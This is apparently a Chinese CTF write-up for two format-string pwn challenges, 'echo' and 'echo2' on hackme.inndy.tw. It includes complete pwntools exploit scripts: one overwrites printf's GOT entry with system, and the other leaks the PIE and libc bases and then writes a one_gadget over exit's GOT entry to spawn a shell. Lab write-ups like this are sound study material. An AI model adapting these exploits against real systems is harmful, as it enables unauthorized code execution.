echo
防护机制:
32位的开启了NX的程序
ida反编译一下:
很明显的一个格式化字符串漏洞,加上程序中存在system函数,所以可以将printf_got覆盖成system函数,再传入"/bin/sh" 来getshell
这里我用了pwntools库中的fmtstr_payload()函数
exp:
from pwn import*
context.log_level= "debug"
p = remote('hackme.inndy.tw',7711)
#p = process('./echo')
elf = ELF('./echo')
system = elf.symbols['system']
printf_got = elf.got['printf']
bss = elf.bss()
offset = 7
payload = fmtstr_payload(offset,{printf_got : system}) # change the got of printf to system
p.send(payload)
p.send("/bin/sh\x00")
p.interactive()
结果:
echo2
防护机制:
发现程序开启了PIE
PIE:
是位置无关的可执行程序,用于生成位置无关的可执行程序,所谓位置无关的可执行程序,指的是,可执行程序的代码指令集可以被加载到任意位置,进程通过相对地址获取指令操作和数据,如果不是位置无关的可执行程序,则该可执行程序的代码指令集必须放到特定的位置才可运行进程。
但是低两位字节是固定的,可以通过这个泄露出程序基地址
ida反编译:
发现这题的关键代码和前面那道题很相似,同样是一个格式化字符串漏洞,同样含有system函数,但是这一题是64位的并且开启了PIE的程序,所以需要先泄露出程序的基地址
gdb调试一番:
格式化字符串位于栈上,并且相对偏移为7
查看栈上的内容:
程序的栈上有printf函数的返回地址和一些其他函数的返回地址
所以可以通过泄露出printf函数的返回地址来计算出程序的基地址
program_base = leakmemory - offset
泄露__libc_start_main+240的地址来算出libc的基地址
通过在发送payload的语句后加一条gdb.attach(p)语句,进入调试界面,输入vmmap命令,计算出libc_base 和 __libc_start_main+240的偏移,那就可以通过泄露出来的地址得到libc_base的地址了,因为不管PIE它的地址怎么变,__lib_start_main的地址到libc_base的偏移是不会变的,同时可以得到__libc_start_main在libc中的偏移,通过这个偏移可以查到程序的libc的版本libsearch
libc_base = __libc_start_main +240 - offset
offset = __libc_start_main +240 - 0x7ffff7a0d000
libc_start_main_offset = offset - 240
查到libc的版本
有这么多 ,一般要再泄露多一个地址,比较精准,不过一个个试也可以,这里服务器用的libc版本是 9
获取了lib版本后就可以开始下一步了,我没有用system函数,我用one_gadget这个工具找到了execve("/bin/sh",null,environ)的偏移,然后将exit_got覆盖成了one_gadget的地址,因为exit也是libc库中的函数,所以只要覆盖低五位就可以了,我用"%hn"来改写地址的内容,一次修改两个字节,改写完后输入"exit",就可以getshell
64位需要注意的是:
- 它的函数地址存在'\x00'截断,所以要将函数地址放到最后
- 控制好函数地址的相对偏移
exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import*
context.log_level = "debug"
p = remote("hackme.inndy.tw",7712)
#p = process('./echo2')
elf = ELF('./echo2')
exit_got = elf.got['exit']
def memleak(offset):
payload = '%' + str(offset) + "$p"
p.sendline(payload)
data = p.recv()[0:-1]
print data
data = int(data,16)
return data
log.info("************leak program base address************")
_libc_csu_init = memleak(41)
p_add = _libc_csu_init - 0xa03
print "base address -->[%s]"%hex(p_add)
_libc_start_main_add = memleak(43) - 240
print "_libc_start_main_add -->[%s]"%hex(_libc_start_main_add)
_libc_start_main_offset = 0x20740
print "_libc_start_main_offset --> [%s] "%hex(_libc_start_main_offset)
libc_base = _libc_start_main_add - _libc_start_main_offset
print "libc_base --> [%s]"%hex(libc_base)
one_gadget = 0xf0897#execve("/bin/sh",null,environ)
#one_gadget = 0xf02a4
print "one_gadget --> [%s]"%hex(one_gadget)
one_gadget_add = libc_base + one_gadget
print "on_gadget_add --> [%s]"%hex(one_gadget_add)
log.info("*********write execve address to exit_got*******")
exit_got = p_add + exit_got
print "exit_got --> [%s]"%hex(exit_got)
hex_one_gadget = hex(one_gadget_add)
add1 = str(int(int(hex_one_gadget[-4:],16))-19)
add2 = str(int(int(hex_one_gadget[-8:-4],16))-19)
add3 = str(int(int(hex_one_gadget[-12:-8],16))-19)
payload1 = "aaaaaaaaaaaaaaaaaaa%" + add1 + "c" + "%10$hn" + p64(exit_got)
payload2 = "aaaaaaaaaaaaaaaaaaa%" + add2 + "c" + "%10$hn" + p64(exit_got+2)
payload3 = "aaaaaaaaaaaaaaaaaaa%" + add3 + "c" + "%10$hn" + p64(exit_got+4)
p.sendline(payload1)
p.sendline(payload2)
p.sendline(payload3)
p.send("exit\n")
p.interactive()
结果:
写echo2的时候参考了大佬的writeup